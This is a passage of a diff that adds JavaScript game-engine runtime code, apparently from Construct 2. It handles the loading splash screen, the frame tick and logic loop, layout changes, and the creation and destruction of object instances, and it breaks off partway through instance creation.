+ Runtime.prototype.go = function ()
+ {
+ if (!this.ctx && !this.glwrap)
+ return;
+ var ctx = this.ctx || this.overlay_ctx;
+ if (this.overlay_canvas)
+ this.positionOverlayCanvas();
+ var curwidth = window.innerWidth;
+ var curheight = window.innerHeight;
+ if (this.lastWindowWidth !== curwidth || this.lastWindowHeight !== curheight)
+ {
+ this["setSize"](curwidth, curheight);
+ }
+ this.progress = 0;
+ this.last_progress = -1;
+ var self = this;
+ if (this.areAllTexturesAndSoundsLoaded() && (this.loaderstyle !== 4 || isC2SplashDone))
+ {
+ this.go_loading_finished();
+ }
+ else
+ {
+ var ms_elapsed = Date.now() - this.start_time;
+ if (ctx)
+ {
+ var overlay_width = this.width;
+ var overlay_height = this.height;
+ var dpr = this.devicePixelRatio;
+ if (this.loaderstyle < 3 && (this.isCocoonJs || (ms_elapsed >= 500 && this.last_progress != this.progress)))
+ {
+ ctx.clearRect(0, 0, overlay_width, overlay_height);
+ var mx = overlay_width / 2;
+ var my = overlay_height / 2;
+ var haslogo = (this.loaderstyle === 0 && this.loaderlogos.logo.complete);
+ var hlw = 40 * dpr;
+ var hlh = 0;
+ var logowidth = 80 * dpr;
+ var logoheight;
+ if (haslogo)
+ {
+ var loaderLogoImage = this.loaderlogos.logo;
+ logowidth = loaderLogoImage.width * dpr;
+ logoheight = loaderLogoImage.height * dpr;
+ hlw = logowidth / 2;
+ hlh = logoheight / 2;
+ ctx.drawImage(loaderLogoImage, cr.floor(mx - hlw), cr.floor(my - hlh), logowidth, logoheight);
+ }
+ if (this.loaderstyle <= 1)
+ {
+ my += hlh + (haslogo ? 12 * dpr : 0);
+ mx -= hlw;
+ mx = cr.floor(mx) + 0.5;
+ my = cr.floor(my) + 0.5;
+ ctx.fillStyle = anyImageHadError ? "red" : "DodgerBlue";
+ ctx.fillRect(mx, my, Math.floor(logowidth * this.progress), 6 * dpr);
+ ctx.strokeStyle = "black";
+ ctx.strokeRect(mx, my, logowidth, 6 * dpr);
+ ctx.strokeStyle = "white";
+ ctx.strokeRect(mx - 1 * dpr, my - 1 * dpr, logowidth + 2 * dpr, 8 * dpr);
+ }
+ else if (this.loaderstyle === 2)
+ {
+ ctx.font = (this.isEjecta ? "12pt ArialMT" : "12pt Arial");
+ ctx.fillStyle = anyImageHadError ? "#f00" : "#999";
+ ctx.textBaseLine = "middle";
+ var percent_text = Math.round(this.progress * 100) + "%";
+ var text_dim = ctx.measureText ? ctx.measureText(percent_text) : null;
+ var text_width = text_dim ? text_dim.width : 0;
+ ctx.fillText(percent_text, mx - (text_width / 2), my);
+ }
+ this.last_progress = this.progress;
+ }
+ else if (this.loaderstyle === 4)
+ {
+ this.draw_c2_splash_loader(ctx);
+ if (raf)
+ raf(function() { self.go(); });
+ else
+ setTimeout(function() { self.go(); }, 16);
+ return;
+ }
+ }
+ setTimeout(function() { self.go(); }, (this.isCocoonJs ? 10 : 100));
+ }
+ };
+ var splashStartTime = -1;
+ var splashFadeInDuration = 300;
+ var splashFadeOutDuration = 300;
+ var splashAfterFadeOutWait = (typeof cr_is_preview === "undefined" ? 200 : 0);
+ var splashIsFadeIn = true;
+ var splashIsFadeOut = false;
+ var splashFadeInFinish = 0;
+ var splashFadeOutStart = 0;
+ var splashMinDisplayTime = (typeof cr_is_preview === "undefined" ? 3000 : 0);
+ var renderViaCanvas = null;
+ var renderViaCtx = null;
+ var splashFrameNumber = 0;
+ function maybeCreateRenderViaCanvas(w, h)
+ {
+ if (!renderViaCanvas || renderViaCanvas.width !== w || renderViaCanvas.height !== h)
+ {
+ renderViaCanvas = document.createElement("canvas");
+ renderViaCanvas.width = w;
+ renderViaCanvas.height = h;
+ renderViaCtx = renderViaCanvas.getContext("2d");
+ }
+ };
+ function mipImage(arr, size)
+ {
+ if (size <= 128)
+ return arr[3];
+ else if (size <= 256)
+ return arr[2];
+ else if (size <= 512)
+ return arr[1];
+ else
+ return arr[0];
+ };
+ Runtime.prototype.draw_c2_splash_loader = function(ctx)
+ {
+ if (isC2SplashDone)
+ return;
+ var w = Math.ceil(this.width);
+ var h = Math.ceil(this.height);
+ var dpr = this.devicePixelRatio;
+ var logoimages = this.loaderlogos.logo;
+ var poweredimages = this.loaderlogos.powered;
+ var websiteimages = this.loaderlogos.website;
+ for (var i = 0; i < 4; ++i)
+ {
+ if (!logoimages[i].complete || !poweredimages[i].complete || !websiteimages[i].complete)
+ return;
+ }
+ if (splashFrameNumber === 0)
+ splashStartTime = Date.now();
+ var nowTime = Date.now();
+ var isRenderingVia = false;
+ var renderToCtx = ctx;
+ var drawW, drawH;
+ if (splashIsFadeIn || splashIsFadeOut)
+ {
+ ctx.clearRect(0, 0, w, h);
+ maybeCreateRenderViaCanvas(w, h);
+ renderToCtx = renderViaCtx;
+ isRenderingVia = true;
+ if (splashIsFadeIn && splashFrameNumber === 1)
+ splashStartTime = Date.now();
+ }
+ else
+ {
+ ctx.globalAlpha = 1;
+ }
+ renderToCtx.fillStyle = "#333333";
+ renderToCtx.fillRect(0, 0, w, h);
+ if (this.cssHeight > 256)
+ {
+ drawW = cr.clamp(h * 0.22, 105, w * 0.6);
+ drawH = drawW * 0.25;
+ renderToCtx.drawImage(mipImage(poweredimages, drawW), w * 0.5 - drawW/2, h * 0.2 - drawH/2, drawW, drawH);
+ drawW = Math.min(h * 0.395, w * 0.95);
+ drawH = drawW;
+ renderToCtx.drawImage(mipImage(logoimages, drawW), w * 0.5 - drawW/2, h * 0.485 - drawH/2, drawW, drawH);
+ drawW = cr.clamp(h * 0.22, 105, w * 0.6);
+ drawH = drawW * 0.25;
+ renderToCtx.drawImage(mipImage(websiteimages, drawW), w * 0.5 - drawW/2, h * 0.868 - drawH/2, drawW, drawH);
+ renderToCtx.fillStyle = "#3C3C3C";
+ drawW = w;
+ drawH = Math.max(h * 0.005, 2);
+ renderToCtx.fillRect(0, h * 0.8 - drawH/2, drawW, drawH);
+ renderToCtx.fillStyle = anyImageHadError ? "red" : "#E0FF65";
+ drawW = w * this.progress;
+ renderToCtx.fillRect(w * 0.5 - drawW/2, h * 0.8 - drawH/2, drawW, drawH);
+ }
+ else
+ {
+ drawW = h * 0.55;
+ drawH = drawW;
+ renderToCtx.drawImage(mipImage(logoimages, drawW), w * 0.5 - drawW/2, h * 0.45 - drawH/2, drawW, drawH);
+ renderToCtx.fillStyle = "#3C3C3C";
+ drawW = w;
+ drawH = Math.max(h * 0.005, 2);
+ renderToCtx.fillRect(0, h * 0.85 - drawH/2, drawW, drawH);
+ renderToCtx.fillStyle = anyImageHadError ? "red" : "#E0FF65";
+ drawW = w * this.progress;
+ renderToCtx.fillRect(w * 0.5 - drawW/2, h * 0.85 - drawH/2, drawW, drawH);
+ }
+ if (isRenderingVia)
+ {
+ if (splashIsFadeIn)
+ {
+ if (splashFrameNumber === 0)
+ ctx.globalAlpha = 0;
+ else
+ ctx.globalAlpha = Math.min((nowTime - splashStartTime) / splashFadeInDuration, 1);
+ }
+ else if (splashIsFadeOut)
+ {
+ ctx.globalAlpha = Math.max(1 - (nowTime - splashFadeOutStart) / splashFadeOutDuration, 0);
+ }
+ ctx.drawImage(renderViaCanvas, 0, 0, w, h);
+ }
+ if (splashIsFadeIn && nowTime - splashStartTime >= splashFadeInDuration && splashFrameNumber >= 2)
+ {
+ splashIsFadeIn = false;
+ splashFadeInFinish = nowTime;
+ }
+ if (!splashIsFadeIn && nowTime - splashFadeInFinish >= splashMinDisplayTime && !splashIsFadeOut && this.progress >= 1)
+ {
+ splashIsFadeOut = true;
+ splashFadeOutStart = nowTime;
+ }
+ if ((splashIsFadeOut && nowTime - splashFadeOutStart >= splashFadeOutDuration + splashAfterFadeOutWait) ||
+ (typeof cr_is_preview !== "undefined" && this.progress >= 1 && Date.now() - splashStartTime < 500))
+ {
+ isC2SplashDone = true;
+ splashIsFadeIn = false;
+ splashIsFadeOut = false;
+ renderViaCanvas = null;
+ renderViaCtx = null;
+ this.loaderlogos = null;
+ }
+ ++splashFrameNumber;
+ };
+ Runtime.prototype.go_loading_finished = function ()
+ {
+ if (this.overlay_canvas)
+ {
+ this.canvas.parentNode.removeChild(this.overlay_canvas);
+ this.overlay_ctx = null;
+ this.overlay_canvas = null;
+ }
+ this.start_time = Date.now();
+ this.last_fps_time = cr.performance_now(); // for counting framerate
+ var i, len, t;
+ if (this.uses_loader_layout)
+ {
+ for (i = 0, len = this.types_by_index.length; i < len; i++)
+ {
+ t = this.types_by_index[i];
+ if (!t.is_family && !t.isOnLoaderLayout && t.plugin.is_world)
+ {
+ t.onCreate();
+ cr.seal(t);
+ }
+ }
+ }
+ else
+ this.isloading = false;
+ for (i = 0, len = this.layouts_by_index.length; i < len; i++)
+ {
+ this.layouts_by_index[i].createGlobalNonWorlds();
+ }
+ if (this.fullscreen_mode >= 2)
+ {
+ var orig_aspect = this.original_width / this.original_height;
+ var cur_aspect = this.width / this.height;
+ if ((this.fullscreen_mode !== 2 && cur_aspect > orig_aspect) || (this.fullscreen_mode === 2 && cur_aspect < orig_aspect))
+ this.aspect_scale = this.height / this.original_height;
+ else
+ this.aspect_scale = this.width / this.original_width;
+ }
+ if (this.first_layout)
+ this.layouts[this.first_layout].startRunning();
+ else
+ this.layouts_by_index[0].startRunning();
+;
+ if (!this.uses_loader_layout)
+ {
+ this.loadingprogress = 1;
+ this.trigger(cr.system_object.prototype.cnds.OnLoadFinished, null);
+ if (window["C2_RegisterSW"]) // note not all platforms use SW
+ window["C2_RegisterSW"]();
+ }
+ if (navigator["splashscreen"] && navigator["splashscreen"]["hide"])
+ navigator["splashscreen"]["hide"]();
+ for (i = 0, len = this.types_by_index.length; i < len; i++)
+ {
+ t = this.types_by_index[i];
+ if (t.onAppBegin)
+ t.onAppBegin();
+ }
+ if (document["hidden"] || document["webkitHidden"] || document["mozHidden"] || document["msHidden"])
+ {
+ window["cr_setSuspended"](true); // stop rendering
+ }
+ else
+ {
+ this.tick(false);
+ }
+ if (this.isDirectCanvas)
+ AppMobi["webview"]["execute"]("onGameReady();");
+ };
+ Runtime.prototype.tick = function (background_wake, timestamp, debug_step)
+ {
+ if (!this.running_layout)
+ return;
+ var nowtime = cr.performance_now();
+ var logic_start = nowtime;
+ if (!debug_step && this.isSuspended && !background_wake)
+ return;
+ if (!background_wake)
+ {
+ if (raf)
+ this.raf_id = raf(this.tickFunc);
+ else
+ {
+ this.timeout_id = setTimeout(this.tickFunc, this.isMobile ? 1 : 16);
+ }
+ }
+ var raf_time = timestamp || nowtime;
+ var fsmode = this.fullscreen_mode;
+ var isfullscreen = (document["mozFullScreen"] || document["webkitIsFullScreen"] || document["fullScreen"] || !!document["msFullscreenElement"]) && !this.isCordova;
+ if ((isfullscreen || this.isNodeFullscreen) && this.fullscreen_scaling > 0)
+ fsmode = this.fullscreen_scaling;
+ if (fsmode > 0) // r222: experimentally enabling this workaround for all platforms
+ {
+ var curwidth = window.innerWidth;
+ var curheight = window.innerHeight;
+ if (this.lastWindowWidth !== curwidth || this.lastWindowHeight !== curheight)
+ {
+ this["setSize"](curwidth, curheight);
+ }
+ }
+ if (!this.isDomFree)
+ {
+ if (isfullscreen)
+ {
+ if (!this.firstInFullscreen)
+ this.firstInFullscreen = true;
+ }
+ else
+ {
+ if (this.firstInFullscreen)
+ {
+ this.firstInFullscreen = false;
+ if (this.fullscreen_mode === 0)
+ {
+ this["setSize"](Math.round(this.oldWidth / this.devicePixelRatio), Math.round(this.oldHeight / this.devicePixelRatio), true);
+ }
+ }
+ else
+ {
+ this.oldWidth = this.width;
+ this.oldHeight = this.height;
+ }
+ }
+ }
+ if (this.isloading)
+ {
+ var done = this.areAllTexturesAndSoundsLoaded(); // updates this.progress
+ this.loadingprogress = this.progress;
+ if (done)
+ {
+ this.isloading = false;
+ this.progress = 1;
+ this.trigger(cr.system_object.prototype.cnds.OnLoadFinished, null);
+ if (window["C2_RegisterSW"])
+ window["C2_RegisterSW"]();
+ }
+ }
+ this.logic(raf_time);
+ if ((this.redraw || this.isCocoonJs) && !this.is_WebGL_context_lost && !this.suspendDrawing && !background_wake)
+ {
+ this.redraw = false;
+ if (this.glwrap)
+ this.drawGL();
+ else
+ this.draw();
+ if (this.snapshotCanvas)
+ {
+ if (this.canvas && this.canvas.toDataURL)
+ {
+ this.snapshotData = this.canvas.toDataURL(this.snapshotCanvas[0], this.snapshotCanvas[1]);
+ if (window["cr_onSnapshot"])
+ window["cr_onSnapshot"](this.snapshotData);
+ this.trigger(cr.system_object.prototype.cnds.OnCanvasSnapshot, null);
+ }
+ this.snapshotCanvas = null;
+ }
+ }
+ if (!this.hit_breakpoint)
+ {
+ this.tickcount++;
+ this.tickcount_nosave++;
+ this.execcount++;
+ this.framecount++;
+ }
+ this.logictime += cr.performance_now() - logic_start;
+ };
+ Runtime.prototype.logic = function (cur_time)
+ {
+ var i, leni, j, lenj, k, lenk, type, inst, binst;
+ if (cur_time - this.last_fps_time >= 1000) // every 1 second
+ {
+ this.last_fps_time += 1000;
+ if (cur_time - this.last_fps_time >= 1000)
+ this.last_fps_time = cur_time;
+ this.fps = this.framecount;
+ this.framecount = 0;
+ this.cpuutilisation = this.logictime;
+ this.logictime = 0;
+ }
+ var wallDt = 0;
+ if (this.last_tick_time !== 0)
+ {
+ var ms_diff = cur_time - this.last_tick_time;
+ if (ms_diff < 0)
+ ms_diff = 0;
+ wallDt = ms_diff / 1000.0; // dt measured in seconds
+ this.dt1 = wallDt;
+ if (this.dt1 > 0.5)
+ this.dt1 = 0;
+ else if (this.dt1 > 1 / this.minimumFramerate)
+ this.dt1 = 1 / this.minimumFramerate;
+ }
+ this.last_tick_time = cur_time;
+ this.dt = this.dt1 * this.timescale;
+ this.kahanTime.add(this.dt);
+ this.wallTime.add(wallDt); // prevent min/max framerate affecting wall clock
+ var isfullscreen = (document["mozFullScreen"] || document["webkitIsFullScreen"] || document["fullScreen"] || !!document["msFullscreenElement"] || this.isNodeFullscreen) && !this.isCordova;
+ if (this.fullscreen_mode >= 2 /* scale */ || (isfullscreen && this.fullscreen_scaling > 0))
+ {
+ var orig_aspect = this.original_width / this.original_height;
+ var cur_aspect = this.width / this.height;
+ var mode = this.fullscreen_mode;
+ if (isfullscreen && this.fullscreen_scaling > 0)
+ mode = this.fullscreen_scaling;
+ if ((mode !== 2 && cur_aspect > orig_aspect) || (mode === 2 && cur_aspect < orig_aspect))
+ {
+ this.aspect_scale = this.height / this.original_height;
+ }
+ else
+ {
+ this.aspect_scale = this.width / this.original_width;
+ }
+ if (this.running_layout)
+ {
+ this.running_layout.scrollToX(this.running_layout.scrollX);
+ this.running_layout.scrollToY(this.running_layout.scrollY);
+ }
+ }
+ else
+ this.aspect_scale = (this.isRetina ? this.devicePixelRatio : 1);
+ this.ClearDeathRow();
+ this.isInOnDestroy++;
+ this.system.runWaits(); // prevent instance list changing
+ this.isInOnDestroy--;
+ this.ClearDeathRow(); // allow instance list changing
+ this.isInOnDestroy++;
+ var tickarr = this.objects_to_pretick.valuesRef();
+ for (i = 0, leni = tickarr.length; i < leni; i++)
+ tickarr[i].pretick();
+ for (i = 0, leni = this.types_by_index.length; i < leni; i++)
+ {
+ type = this.types_by_index[i];
+ if (type.is_family || (!type.behaviors.length && !type.families.length))
+ continue;
+ for (j = 0, lenj = type.instances.length; j < lenj; j++)
+ {
+ inst = type.instances[j];
+ for (k = 0, lenk = inst.behavior_insts.length; k < lenk; k++)
+ {
+ inst.behavior_insts[k].tick();
+ }
+ }
+ }
+ for (i = 0, leni = this.types_by_index.length; i < leni; i++)
+ {
+ type = this.types_by_index[i];
+ if (type.is_family || (!type.behaviors.length && !type.families.length))
+ continue; // type doesn't have any behaviors
+ for (j = 0, lenj = type.instances.length; j < lenj; j++)
+ {
+ inst = type.instances[j];
+ for (k = 0, lenk = inst.behavior_insts.length; k < lenk; k++)
+ {
+ binst = inst.behavior_insts[k];
+ if (binst.posttick)
+ binst.posttick();
+ }
+ }
+ }
+ tickarr = this.objects_to_tick.valuesRef();
+ for (i = 0, leni = tickarr.length; i < leni; i++)
+ tickarr[i].tick();
+ this.isInOnDestroy--; // end preventing instance lists from being changed
+ this.handleSaveLoad(); // save/load now if queued
+ i = 0;
+ while (this.changelayout && i++ < 10)
+ {
+ this.doChangeLayout(this.changelayout);
+ }
+ for (i = 0, leni = this.eventsheets_by_index.length; i < leni; i++)
+ this.eventsheets_by_index[i].hasRun = false;
+ if (this.running_layout.event_sheet)
+ this.running_layout.event_sheet.run();
+ cr.clearArray(this.registered_collisions);
+ this.layout_first_tick = false;
+ this.isInOnDestroy++; // prevent instance lists from being changed
+ for (i = 0, leni = this.types_by_index.length; i < leni; i++)
+ {
+ type = this.types_by_index[i];
+ if (type.is_family || (!type.behaviors.length && !type.families.length))
+ continue; // type doesn't have any behaviors
+ for (j = 0, lenj = type.instances.length; j < lenj; j++)
+ {
+ var inst = type.instances[j];
+ for (k = 0, lenk = inst.behavior_insts.length; k < lenk; k++)
+ {
+ binst = inst.behavior_insts[k];
+ if (binst.tick2)
+ binst.tick2();
+ }
+ }
+ }
+ tickarr = this.objects_to_tick2.valuesRef();
+ for (i = 0, leni = tickarr.length; i < leni; i++)
+ tickarr[i].tick2();
+ this.isInOnDestroy--; // end preventing instance lists from being changed
+ };
+ Runtime.prototype.onWindowBlur = function ()
+ {
+ var i, leni, j, lenj, k, lenk, type, inst, binst;
+ for (i = 0, leni = this.types_by_index.length; i < leni; i++)
+ {
+ type = this.types_by_index[i];
+ if (type.is_family)
+ continue;
+ for (j = 0, lenj = type.instances.length; j < lenj; j++)
+ {
+ inst = type.instances[j];
+ if (inst.onWindowBlur)
+ inst.onWindowBlur();
+ if (!inst.behavior_insts)
+ continue; // single-globals don't have behavior_insts
+ for (k = 0, lenk = inst.behavior_insts.length; k < lenk; k++)
+ {
+ binst = inst.behavior_insts[k];
+ if (binst.onWindowBlur)
+ binst.onWindowBlur();
+ }
+ }
+ }
+ };
+ Runtime.prototype.doChangeLayout = function (changeToLayout)
+ {
+ var prev_layout = this.running_layout;
+ this.running_layout.stopRunning();
+ var i, len, j, lenj, k, lenk, type, inst, binst;
+ if (this.glwrap)
+ {
+ for (i = 0, len = this.types_by_index.length; i < len; i++)
+ {
+ type = this.types_by_index[i];
+ if (type.is_family)
+ continue;
+ if (type.unloadTextures && (!type.global || type.instances.length === 0) && changeToLayout.initial_types.indexOf(type) === -1)
+ {
+ type.unloadTextures();
+ }
+ }
+ }
+ if (prev_layout == changeToLayout)
+ cr.clearArray(this.system.waits);
+ cr.clearArray(this.registered_collisions);
+ this.runLayoutChangeMethods(true);
+ changeToLayout.startRunning();
+ this.runLayoutChangeMethods(false);
+ this.redraw = true;
+ this.layout_first_tick = true;
+ this.ClearDeathRow();
+ };
+ Runtime.prototype.runLayoutChangeMethods = function (isBeforeChange)
+ {
+ var i, len, beh, type, j, lenj, inst, k, lenk, binst;
+ for (i = 0, len = this.behaviors.length; i < len; i++)
+ {
+ beh = this.behaviors[i];
+ if (isBeforeChange)
+ {
+ if (beh.onBeforeLayoutChange)
+ beh.onBeforeLayoutChange();
+ }
+ else
+ {
+ if (beh.onLayoutChange)
+ beh.onLayoutChange();
+ }
+ }
+ for (i = 0, len = this.types_by_index.length; i < len; i++)
+ {
+ type = this.types_by_index[i];
+ if (!type.global && !type.plugin.singleglobal)
+ continue;
+ for (j = 0, lenj = type.instances.length; j < lenj; j++)
+ {
+ inst = type.instances[j];
+ if (isBeforeChange)
+ {
+ if (inst.onBeforeLayoutChange)
+ inst.onBeforeLayoutChange();
+ }
+ else
+ {
+ if (inst.onLayoutChange)
+ inst.onLayoutChange();
+ }
+ if (inst.behavior_insts)
+ {
+ for (k = 0, lenk = inst.behavior_insts.length; k < lenk; k++)
+ {
+ binst = inst.behavior_insts[k];
+ if (isBeforeChange)
+ {
+ if (binst.onBeforeLayoutChange)
+ binst.onBeforeLayoutChange();
+ }
+ else
+ {
+ if (binst.onLayoutChange)
+ binst.onLayoutChange();
+ }
+ }
+ }
+ }
+ }
+ };
+ Runtime.prototype.pretickMe = function (inst)
+ {
+ this.objects_to_pretick.add(inst);
+ };
+ Runtime.prototype.unpretickMe = function (inst)
+ {
+ this.objects_to_pretick.remove(inst);
+ };
+ Runtime.prototype.tickMe = function (inst)
+ {
+ this.objects_to_tick.add(inst);
+ };
+ Runtime.prototype.untickMe = function (inst)
+ {
+ this.objects_to_tick.remove(inst);
+ };
+ Runtime.prototype.tick2Me = function (inst)
+ {
+ this.objects_to_tick2.add(inst);
+ };
+ Runtime.prototype.untick2Me = function (inst)
+ {
+ this.objects_to_tick2.remove(inst);
+ };
+ Runtime.prototype.getDt = function (inst)
+ {
+ if (!inst || inst.my_timescale === -1.0)
+ return this.dt;
+ return this.dt1 * inst.my_timescale;
+ };
+ Runtime.prototype.draw = function ()
+ {
+ this.running_layout.draw(this.ctx);
+ if (this.isDirectCanvas)
+ this.ctx["present"]();
+ };
+ Runtime.prototype.drawGL = function ()
+ {
+ if (this.enableFrontToBack)
+ {
+ this.earlyz_index = 1; // start from front, 1-based to avoid exactly equalling near plane Z value
+ this.running_layout.drawGL_earlyZPass(this.glwrap);
+ }
+ this.running_layout.drawGL(this.glwrap);
+ this.glwrap.present();
+ };
+ Runtime.prototype.addDestroyCallback = function (f)
+ {
+ if (f)
+ this.destroycallbacks.push(f);
+ };
+ Runtime.prototype.removeDestroyCallback = function (f)
+ {
+ cr.arrayFindRemove(this.destroycallbacks, f);
+ };
+ Runtime.prototype.getObjectByUID = function (uid_)
+ {
+;
+ var uidstr = uid_.toString();
+ if (this.objectsByUid.hasOwnProperty(uidstr))
+ return this.objectsByUid[uidstr];
+ else
+ return null;
+ };
+ var objectset_cache = [];
+ function alloc_objectset()
+ {
+ if (objectset_cache.length)
+ return objectset_cache.pop();
+ else
+ return new cr.ObjectSet();
+ };
+ function free_objectset(s)
+ {
+ s.clear();
+ objectset_cache.push(s);
+ };
+ Runtime.prototype.DestroyInstance = function (inst)
+ {
+ var i, len;
+ var type = inst.type;
+ var typename = type.name;
+ var has_typename = this.deathRow.hasOwnProperty(typename);
+ var obj_set = null;
+ if (has_typename)
+ {
+ obj_set = this.deathRow[typename];
+ if (obj_set.contains(inst))
+ return; // already had DestroyInstance called
+ }
+ else
+ {
+ obj_set = alloc_objectset();
+ this.deathRow[typename] = obj_set;
+ }
+ obj_set.add(inst);
+ this.hasPendingInstances = true;
+ if (inst.is_contained)
+ {
+ for (i = 0, len = inst.siblings.length; i < len; i++)
+ {
+ this.DestroyInstance(inst.siblings[i]);
+ }
+ }
+ if (this.isInClearDeathRow)
+ obj_set.values_cache.push(inst);
+ if (!this.isEndingLayout)
+ {
+ this.isInOnDestroy++; // support recursion
+ this.trigger(Object.getPrototypeOf(inst.type.plugin).cnds.OnDestroyed, inst);
+ this.isInOnDestroy--;
+ }
+ };
+ Runtime.prototype.ClearDeathRow = function ()
+ {
+ if (!this.hasPendingInstances)
+ return;
+ var inst, type, instances;
+ var i, j, leni, lenj, obj_set;
+ this.isInClearDeathRow = true;
+ for (i = 0, leni = this.createRow.length; i < leni; ++i)
+ {
+ inst = this.createRow[i];
+ type = inst.type;
+ type.instances.push(inst);
+ for (j = 0, lenj = type.families.length; j < lenj; ++j)
+ {
+ type.families[j].instances.push(inst);
+ type.families[j].stale_iids = true;
+ }
+ }
+ cr.clearArray(this.createRow);
+ this.IterateDeathRow(); // moved to separate function so for-in performance doesn't hobble entire function
+ cr.wipe(this.deathRow); // all objectsets have already been recycled
+ this.isInClearDeathRow = false;
+ this.hasPendingInstances = false;
+ };
+ Runtime.prototype.IterateDeathRow = function ()
+ {
+ for (var p in this.deathRow)
+ {
+ if (this.deathRow.hasOwnProperty(p))
+ {
+ this.ClearDeathRowForType(this.deathRow[p]);
+ }
+ }
+ };
+ Runtime.prototype.ClearDeathRowForType = function (obj_set)
+ {
+ var arr = obj_set.valuesRef(); // get array of items from set
+;
+ var type = arr[0].type;
+;
+;
+ var i, len, j, lenj, w, f, layer_instances, inst;
+ cr.arrayRemoveAllFromObjectSet(type.instances, obj_set);
+ type.stale_iids = true;
+ if (type.instances.length === 0)
+ type.any_instance_parallaxed = false;
+ for (i = 0, len = type.families.length; i < len; ++i)
+ {
+ f = type.families[i];
+ cr.arrayRemoveAllFromObjectSet(f.instances, obj_set);
+ f.stale_iids = true;
+ }
+ for (i = 0, len = this.system.waits.length; i < len; ++i)
+ {
+ w = this.system.waits[i];
+ if (w.sols.hasOwnProperty(type.index))
+ cr.arrayRemoveAllFromObjectSet(w.sols[type.index].insts, obj_set);
+ if (!type.is_family)
+ {
+ for (j = 0, lenj = type.families.length; j < lenj; ++j)
+ {
+ f = type.families[j];
+ if (w.sols.hasOwnProperty(f.index))
+ cr.arrayRemoveAllFromObjectSet(w.sols[f.index].insts, obj_set);
+ }
+ }
+ }
+ var first_layer = arr[0].layer;
+ if (first_layer)
+ {
+ if (first_layer.useRenderCells)
+ {
+ layer_instances = first_layer.instances;
+ for (i = 0, len = layer_instances.length; i < len; ++i)
+ {
+ inst = layer_instances[i];
+ if (!obj_set.contains(inst))
+ continue; // not destroying this instance
+ inst.update_bbox();
+ first_layer.render_grid.update(inst, inst.rendercells, null);
+ inst.rendercells.set(0, 0, -1, -1);
+ }
+ }
+ cr.arrayRemoveAllFromObjectSet(first_layer.instances, obj_set);
+ first_layer.setZIndicesStaleFrom(0);
+ }
+ for (i = 0; i < arr.length; ++i) // check array length every time in case it changes
+ {
+ this.ClearDeathRowForSingleInstance(arr[i], type);
+ }
+ free_objectset(obj_set);
+ this.redraw = true;
+ };
+ Runtime.prototype.ClearDeathRowForSingleInstance = function (inst, type)
+ {
+ var i, len, binst;
+ for (i = 0, len = this.destroycallbacks.length; i < len; ++i)
+ this.destroycallbacks[i](inst);
+ if (inst.collcells)
+ {
+ type.collision_grid.update(inst, inst.collcells, null);
+ }
+ var layer = inst.layer;
+ if (layer)
+ {
+ layer.removeFromInstanceList(inst, true); // remove from both instance list and render grid
+ }
+ if (inst.behavior_insts)
+ {
+ for (i = 0, len = inst.behavior_insts.length; i < len; ++i)
+ {
+ binst = inst.behavior_insts[i];
+ if (binst.onDestroy)
+ binst.onDestroy();
+ binst.behavior.my_instances.remove(inst);
+ }
+ }
+ this.objects_to_pretick.remove(inst);
+ this.objects_to_tick.remove(inst);
+ this.objects_to_tick2.remove(inst);
+ if (inst.onDestroy)
+ inst.onDestroy();
+ if (this.objectsByUid.hasOwnProperty(inst.uid.toString()))
+ delete this.objectsByUid[inst.uid.toString()];
+ this.objectcount--;
+ if (type.deadCache.length < 100)
+ type.deadCache.push(inst);
+ };
+ Runtime.prototype.createInstance = function (type, layer, sx, sy)
+ {
+ if (type.is_family)
+ {
+ var i = cr.floor(Math.random() * type.members.length);
+ return this.createInstance(type.members[i], layer, sx, sy);
+ }
+ if (!type.default_instance)
+ {
+ return null;
+ }
+ return this.createInstanceFromInit(type.default_instance, layer, false, sx, sy, false);
+ };
+ var all_behaviors = [];
+ Runtime.prototype.createInstanceFromInit = function (initial_inst, layer, is_startup_instance, sx, sy, skip_siblings)
+ {
+ var i, len, j, lenj, p, effect_fallback, x, y;
+ if (!initial_inst)
+ return null;
+ var type = this.types_by_index[initial_inst[1]];
+;
+;
+ var is_world = type.plugin.is_world;
+;
+ if (this.isloading && is_world && !type.isOnLoaderLayout)
+ return null;
+ if (is_world && !this.glwrap && initial_inst[0][11] === 11)
+ return null;
+ var original_layer = layer;
+ if (!is_world)
+ layer = null;
+ var inst;
+ if (type.deadCache.length)
+ {
+ inst = type.deadCache.pop();
+ inst.recycled = true;
+ type.plugin.Instance.call(inst, type);
+ }
+ else
+ {
+ inst = new type.plugin.Instance(type);
+ inst.recycled = false;
+ }
+ if (is_startup_instance && !skip_siblings && !this.objectsByUid.hasOwnProperty(initial_inst[2].toString()))
+ inst.uid = initial_inst[2];
+ else
+ inst.uid = this.next_uid++;
+ this.objectsByUid[inst.uid.toString()] = inst;
+ inst.puid = this.next_puid++;
+ inst.iid = type.instances.length;
+ for (i = 0, len = this.createRow.length; i < len; ++i)
+ {
+ if (this.createRow[i].type === type)
+ inst.iid++;
+ }
+ inst.get_iid = cr.inst_get_iid;
+ inst.toString = cr.inst_toString;
+ var initial_vars = initial_inst[3];
+ if (inst.recycled)
+ {
+ cr.wipe(inst.extra);
+ }
+ else
+ {
+ inst.extra = {};
+ if (typeof cr_is_preview !== "undefined")
+ {
+ inst.instance_var_names = [];
+ inst.instance_var_names.length = initial_vars.length;
+ for (i = 0, len = initial_vars.length; i < len; i++)
+ inst.instance_var_names[i] = initial_vars[i][1];
+ }
+ inst.instance_vars = [];
+ inst.instance_vars.length = initial_vars.length;
+ }
+ for (i = 0, len = initial_vars.length; i < len; i++)
+ inst.instance_vars[i] = initial_vars[i][0];
+ if (is_world)
+ {
+ var wm = initial_inst[0];
+;
+ inst.x = cr.is_undefined(sx) ? wm[0] : sx;
+ inst.y = cr.is_undefined(sy) ? wm[1] : sy;
+ inst.z = wm[2];
+ inst.width = wm[3];
+ inst.height = wm[4];
+ inst.depth = wm[5];
+ inst.angle = wm[6];
+ inst.opacity = wm[7];
+ inst.hotspotX = wm[8];
+ inst.hotspotY = wm[9];
+ inst.blend_mode = wm[10];
+ effect_fallback = wm[11];
+ if (!this.glwrap && type.effect_types.length) // no WebGL renderer and shaders used
+ inst.blend_mode = effect_fallback; // use fallback blend mode - destroy mode was handled above
+ inst.compositeOp = cr.effectToCompositeOp(inst.blend_mode);
+ if (this.gl)
+ cr.setGLBlend(inst, inst.blend_mode, this.gl);
+ if (inst.recycled)
+ {
+ for (i = 0, len = wm[12].length; i < len; i++)
+ {
+ for (j = 0, lenj = wm[12][i].length; j < lenj; j++)
